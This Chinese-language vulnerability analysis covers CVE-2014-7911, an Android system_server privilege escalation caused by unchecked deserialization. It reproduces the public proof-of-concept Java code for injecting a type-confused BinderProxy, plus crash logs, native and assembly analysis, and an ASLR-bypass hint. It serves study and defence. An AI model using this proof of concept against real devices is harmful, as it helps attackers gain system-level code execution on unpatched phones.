0×00 简介


CVE-2014-7911是由Jann Horn发现的一个有关安卓的提权漏洞,该漏洞允许恶意应用从普通应用权限提权到system用户执行命令,漏洞信息与POC见(1]。漏洞的成因源于在安卓系统(<5.0)中,java.io.ObjectInputStream并未校验输入的java对象是否是实际可序列化的。攻击者因此可以构建一个不可序列化的java对象实例,恶意构建其成员变量,当该对象实例被ObjectInputStream反序列化时,将发生类型混淆,对象的Field被视为由本地代码处理的指针,使攻击者获得控制权。

0×02 漏洞分析


在Jann Horm给出的漏洞信息与POC中(1],向system_server传入的是不可序列化的android.os.BinderProxy对象实例,其成员变量在反序列化时发生类型混淆,由于BinderProxy的finalize方法包含本地代码,于是在本地代码执行时将成员变量强制转换为指针,注意到成员变量是攻击者可控的,也就意味着攻击者可以控制该指针,使其指向攻击者可控的地址空间,最终获得在system_server(uid=1000)中执行代码的权限。下面主要结合POC对漏洞进行详细分析,由于笔者之前对相关的Java序列化、Android binder跨进程通信和native代码都不太熟悉,主要根据参考文献进行翻译、整理和理解,不当之处,还请读者海涵。

Java层分析:

第一步,构建一可序列化的恶意对象

创建AAdroid.os.BinderProxy对象,并将其放入Bundle数据中

#!java
Bundle b = new Bundle();
AAdroid.os.BinderProxy evilProxy = new AAdroid.os.BinderProxy();
b.putSerializable("eatthis", evilProxy);

注意AAdroid.os.BinderProxy是可序列化的,其成员变量mOrgue就是随后用于改变程序执行流程的指针。随后该可序列化的AAdroid.os.BinderProxy将在传入system_server之间修改为不可序列化的Android.os.BinderProxy对象

#!java
public class BinderProxy implements Serializable {
    private static final long serialVersionUID = 0;
   //public long mObject = 0x1337beef;
   //public long mOrgue = 0x1337beef;
   //注意:此处要根据待测的Android版本号设置,在我们待测试的Android 4.4.4中,BinderProxy的这两个Field为private int,这样才能保证POC访问的地址为我们设置的值0x1337beef
   private int mObject = 0x1337beef;
   private int mOrgue = 0x1337beef;
}

第二步,准备传入system_server的数据

主要通过一系列java的反射机制,获得android.os.IUserManager.Stub,andrioid.os.IUserManager.Stub.Proxy的Class对象,最终获得跨进程调用system_server的IBinder接口——mRemote,以及调用UserManager.setApplicationRestriction函数的code——TRANSACTION_setApplicationRestriction,为与system_server的跨进程Binder通信作准备。

#!java
Class clIUserManager = Class.forName("android.os.IUserManager");
            Class[] umSubclasses = clIUserManager.getDeclaredClasses();
            System.out.println(umSubclasses.length+" inner classes found");
            Class clStub = null;
            for (Class c: umSubclasses) {
                //it's android.os.IUserManager.Stub
                System.out.println("inner class: "+c.getCanonicalName());
                if (c.getCanonicalName().equals("android.os.IUserManager.Stub")) {
                    clStub = c;
                }
            }

            Field fTRANSACTION_setApplicationRestrictions =
                    clStub.getDeclaredField("TRANSACTION_setApplicationRestrictions");
            fTRANSACTION_setApplicationRestrictions.setAccessible(true);
            TRANSACTION_setApplicationRestrictions =
                    fTRANSACTION_setApplicationRestrictions.getInt(null);

            UserManager um = (UserManager) ctx.getSystemService(Context.USER_SERVICE);
            Field fService = UserManager.class.getDeclaredField("mService");
            fService.setAccessible(true);
            Object proxy = fService.get(um);

            Class[] stSubclasses = clStub.getDeclaredClasses();
            System.out.println(stSubclasses.length+" inner classes found");
            clProxy = null;
            for (Class c: stSubclasses) {
                //it's android.os.IUserManager.Stub.Proxy
                System.out.println("inner class: "+c.getCanonicalName());
                if (c.getCanonicalName().equals("android.os.IUserManager.Stub.Proxy")) {
                    clProxy = c;
                }
            }

            Field fRemote = clProxy.getDeclaredField("mRemote");
            fRemote.setAccessible(true);
            mRemote = (IBinder) fRemote.get(proxy);//获得跨进程调用system_server的IBinder接口

            UserHandle me = android.os.Process.myUserHandle();
            setApplicationRestrictions(ctx.getPackageName(), b, me.hashCode());

第三步,向system_server传入不可序列化的Bundle参数

接下来,调用setApplicationRestrictions这个函数,并传入了之前打包evilproxy的Bundle数据作为参数。将该函数与Android源码中的setApplicationRestrication函数[6]对比,主要的区别在于将传入的Bundle数据进行了修改,将之前可序列化的AAdroid.os.BinderProxy对象修改为了不可序列化的Android.os.BinderProxy对象,这样就将不可序列化的Bundles数据,通过Binder跨进程调用,传入system_server的Android.os.UserManager.setApplicationRestrictions方法。

#!java
public void setApplicationRestrictions(java.lang.String packageName, android.os.Bundle restrictions, int
            userHandle) throws android.os.RemoteException
    {
        android.os.Parcel _data = android.os.Parcel.obtain();
        android.os.Parcel _reply = android.os.Parcel.obtain();
        try {
            _data.writeInterfaceToken(DESCRIPTOR);
            _data.writeString(packageName);
            _data.writeInt(1);
            restrictions.writeToParcel(_data, 0);
            _data.writeInt(userHandle);

            //修改AAdroid.os.BinderProxy为Android.os.BinderProxy

            byte[] data = _data.marshall();
            for (int i=0; true; i++) {
                if (data[i] == 'A' && data[i+1] == 'A' && data[i+2] == 'd' && data[i+3] == 'r') {
                    data[i] = 'a';
                    data[i+1] = 'n';
                    break;
                }
            }
            _data.recycle();
            _data = Parcel.obtain();
            _data.unmarshall(data, 0, data.length);
            /**
            通过Binder机制跨进程调用Android.os.UserManager.setApplicationRestrictions方法,
            向system_server传入的是实际不可序列化的Android.os.BinderProxy对象
            */
            mRemote.transact(TRANSACTION_setApplicationRestrictions, _data, _reply, 0);
            _reply.readException();
        }
        finally {
            _reply.recycle();
            _data.recycle();
        }
    }

安装POC,启动Activity后将其最小化,触发GC,引起Android系统重启,从Logcat日志中可以看到,system_server执行到了之前设置的BinderProxy对象的0x1337beef这个值,访问了不该访问的内存,导致异常。错误信号、寄存器快照和调用栈如下:

#!bash
05-14 18:30:55.974: I/DEBUG(3695): Build fingerprint: 'google/hammerhead/hammerhead:4.4.4/KTU84P/1227136:user/release-keys'
05-14 18:30:55.974: I/DEBUG(3695): Revision: '11'
05-14 18:30:55.974: I/DEBUG(3695): pid: 1552, tid: 1560, name: FinalizerDaemon  >>> system_server <<<
05-14 18:30:55.974: I/DEBUG(3695): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 1337bef3
05-14 18:30:56.064: I/DEBUG(3695):     r0 1337beef  r1 401b89d9  r2 746fdad8  r3 6d4fbdc4
05-14 18:30:56.064: I/DEBUG(3695):     r4 401b89d9  r5 1337beef  r6 713e3f68  r7 1337beef
05-14 18:30:56.064: I/DEBUG(3695):     r8 1337beef  r9 74709f68  sl 746fdae8  fp 74aacb24
05-14 18:30:56.064: I/DEBUG(3695):     ip 401f08a4  sp 74aacae8  lr 401b7981  pc 40105176  cpsr 200d0030
...
I/DEBUG   (  241): backtrace:
I/DEBUG   (  241):     #00  pc 0000d176  /system/lib/libutils.so (android::RefBase::decStrong(void const*) const+3)
I/DEBUG   (  241):     #01  pc 0007097d  /system/lib/libandroid_runtime.so
I/DEBUG   (  241):     #02  pc 0001dbcc  /system/lib/libdvm.so (dvmPlatformInvoke+112)
I/DEBUG   (  241):     #03  pc 0004e123  /system/lib/libdvm.so (dvmCallJNIMethod(unsigned int const*, JValue*, Method const*, Thread*)+398)
I/DEBUG   (  241):     #04  pc 00026fe0  /system/lib/libdvm.so
I/DEBUG   (  241):     #05  pc 0002dfa0  /system/lib/libdvm.so (dvmMterpStd(Thread*)+76)
I/DEBUG   (  241):     #06  pc 0002b638  /system/lib/libdvm.so (dvmInterpret(Thread*, Method const*, JValue*)+184)
I/DEBUG   (  241):     #07  pc 0006057d  /system/lib/libdvm.so (dvmCallMethodV(Thread*, Method const*, Object*, bool, JValue*, std::__va_list)+336)
I/DEBUG   (  241):     #08  pc 000605a1  /system/lib/libdvm.so (dvmCallMethod(Thread*, Method const*, Object*, JValue*, ...)+20)
I/DEBUG   (  241):     #09  pc 00055287  /system/lib/libdvm.so
I/DEBUG   (  241):     #10  pc 0000d170  /system/lib/libc.so (__thread_entry+72)
I/DEBUG   (  241):     #11  pc 0000d308  /system/lib/libc.so (pthread_create+240)

Native层分析:

假如BinderProxy可以被序列化,那么在反序列化时,其field引用的对象也会被反序列化;但在POC中ObjectInputStream反序列化的BinderProxy对象实例不可序列化,这样在ObjectInputStream反序列化BinderProxy对象时,发生了类型混淆(type confusion),其field被当做随后由Native代码处理的指针。这个filed就是之前设置的0x1337beef,具体而言,就是mOrgue这个变量。

android.os.BinderProxy 的finalize方法调用native代码,将mOrgue处理为指针.

#!java
protected void finalize() throws Throwable {
    destroy();
    super.finalize();
    return;
    Exception exception;
    exception;
    super.finalize();
    throw exception;
}

其中,destroy为native方法

    #!java
private final native void destroy();

cpp代码

#!c++
static void android_os_BinderProxy_destroy(JNIEnv* env, jobject obj)
{
    IBinder* b = (IBinder*)
            env->GetIntField(obj, gBinderProxyOffsets.mObject);
    DeathRecipientList* drl = (DeathRecipientList*)
            env->GetIntField(obj, gBinderProxyOffsets.mOrgue);
    LOGDEATH("Destroying BinderProxy %p: binder=%p drl=%p\n", obj, b, drl);
    env->SetIntField(obj, gBinderProxyOffsets.mObject, 0);
    env->SetIntField(obj, gBinderProxyOffsets.mOrgue, 0);
    drl->decStrong((void*)javaObjectForIBinder);
    b->decStrong((void*)javaObjectForIBinder);
    IPCThreadState::self()->flushCommands();
}

最终native代码调用上述decStrong方法,从

#!java      
DeathRecipientList* drl = (DeathRecipientList*)
            env->GetIntField(obj, gBinderProxyOffsets.mOrgue);

这一行可以看出,drl就是mOrgue,可以被攻击者控制。 所以,drl->decStrong方法调用使用的this指针可由攻击者控制。

再看一下RefBase类中的decStrong方法

#!c++
void RefBase::decStrong(const void* id) const
{
    weakref_impl* const refs = mRefs;
    refs->removeStrongRef(id);
    const int32_t c = android_atomic_dec(&refs->mStrong);
#if PRINT_REFS
    ALOGD("decStrong of %p from %p: cnt=%d\n", this, id, c);
#endif
    ALOG_ASSERT(c >= 1, "decStrong() called on %p too many times", refs);
    if (c == 1) {
        refs->mBase->onLastStrongRef(id);
        if ((refs->mFlags&OBJECT_LIFETIME_MASK) == OBJECT_LIFETIME_STRONG) {
            delete this;
        }
    }
    refs->decWeak(id);
}

注意上述refs->mBase->onLastStrongRef(id)最终导致代码执行。

汇编代码分析:

下面看一下发生异常时最后调用的RefBase:decStrong的汇编代码。将libutils.so拖入IDA Pro,查看Android::RefBase::decStrong函数。分析时需要牢记的是,攻击者能够控制r0(this指针)

image

首先对r0的使用,是在decStrong的前下面三行代码之中

#!c++
weakref_impl* const refs = mRefs;
refs->removeStrongRef(id);
const int32_t c = android_atomic_dec(&refs->mStrong);

对应的汇编代码如下

ldr     r4, [r0, #4]   # r0为this指针,r4为mRefs
mov     r6, r1
mov     r0, r4
blx     <android_atomic_dec ()>

首先,mRefs被加载到r4。(r0是drl的this指针,mRefs是虚函数表之后的第一个私有变量,因此mRefs为r0+4所指向的内容)

然后,android_atomic_dec函数被调用,传入参数&refs->mStrong.

#!c++
const int32_t c = android_atomic_dec(&refs->mStrong);

这被翻译为

#bash
mov     r0, r4  # r4指向mStrong,r0指向mStrong
blx     <android_atomic_dec ()>

作为函数参数,上述r0就是&refs->mStrong。注意,mStrong是refs(类weakref_impl)的第一个成员变量,由于weakref_impl没有虚函数,所以没有虚函数表,因此mStrong就是r4所指向的内容。

另外,refs->removeStrongRef(id);这一行并没有出现在汇编代码中,因为这个函数为空实现,编译器进行了优化。如下所示。

#!c++
void removeStrongRef(const void* /*id*/) { }

在调用android_atomic_dec后,出现的是以下代码

#!c++
if (c == 1) {
    refs->mBase->onLastStrongRef(id);

对应的汇编代码

#!bash
cmp     r0, #1          # r0 = refs->mStrong
bne.n   d1ea
ldr     r0, [r4, #8]    # r4 = &refs->mStrong
mov     r1, r6
ldr     r3, [r0, #0] 
ldr     r2, [r3, #12]
blx     r2    

注意,android_atomic_dec函数执行强引用计数减1,返回的是执行减1操作之前所指定的内存地址存放的值。为了调用refs->mBase->onLastStrongRef(id)(即:blx r2),攻击者需要使refs->mStrong为1.

至此,可以看出攻击者为了实现代码执行,需要满足如下约束条件:

  1. drl(就是mOrgue,第一个可控的指针,在进入decStrong函数时的r0)必须指向可读的内存区域;
  2. refs->mStrong必须为1;
  3. refs->mBase->onLastStrongRef(id)需要执行成功。并最终指向可执行的内存区域。即满足

and

#!c++
if(*(*(mOrgue+4))==1){
    refs = *(mOrgue+4)
    r2 = *(*(*(refs+8))+12)
    blx r2  ----->获取控制权
}

除此以外,攻击者还必须克服Android中的漏洞缓解技术——ASLR和DEP。

0×03漏洞利用


为了成功获得任意代码执行,攻击者可以使用堆喷射、堆栈转移(stack pivoting)和ROP等技术。受限于笔者目前水平,这里就不再分析了,具体分析和retme大牛的POC可参见[2,3,4]。

值得注意的是,尽管Android采用了ASLR机制,但为了获得正确的地址,可以基于这样一个事实:system_server和攻击者app都是从同一个进程-Zygote fork而来,具有相同的基址,攻击者通过分析自己进程的map文件(位于/proc/ /maps)就可以知道system_server以及所加载模块的内存布局。

另外一个有趣的话题是,洞主Jann Horn对PAN的分析进行了评论(2],认为不需要复杂的ROP gadgets就可以实现命令执行,而PAN对此进行了澄清。这从侧面反映了漏洞利用技术也是一门大的学问,有时即使漏洞发现者也未必能够真正理解漏洞利用的挑战。

最后Jann Horn谈到了发现此漏洞的灵感(5],源于他在大学时听到的一次讲座,涉及到某个PHP web应用在反序列化攻击者输入数据时出现的漏洞,这使他思考其他应用是否也有类似的问题。他知道Java的反序列化由ObjectInputStream处理不可信的输入数据,android也许忘了进行检查。是的,漏洞就在那里。

参考文献

(1] http://seclists.org/fulldisclosure/2014/Nov/51

(2] http://researchcenter.paloaltonetworks.com/2015/01/cve-2014-7911-deep-dive-analysis-android-system-service-vulnerability-exploitation

(3] https://github.com/retme7/CVE-2014-7911_poc

(4] https://github.com/retme7/My-Slides/blob/master/xKungfooSH%40retme.pdf

(5] https://www.reddit.com/r/netsec/comments/2mr9cz/cve20147911_android_50_privilege_escalation_using/\

(6]http://grepcode.com/file/repository.grepcode.com/java/ext/com.google.android/android/4.4_r1/android/os/IUserManager.java#IUserManager.Stub.Proxy.setApplicationRestrictions%28java.lang.String%2Candroid.os.Bundle%2Cint%29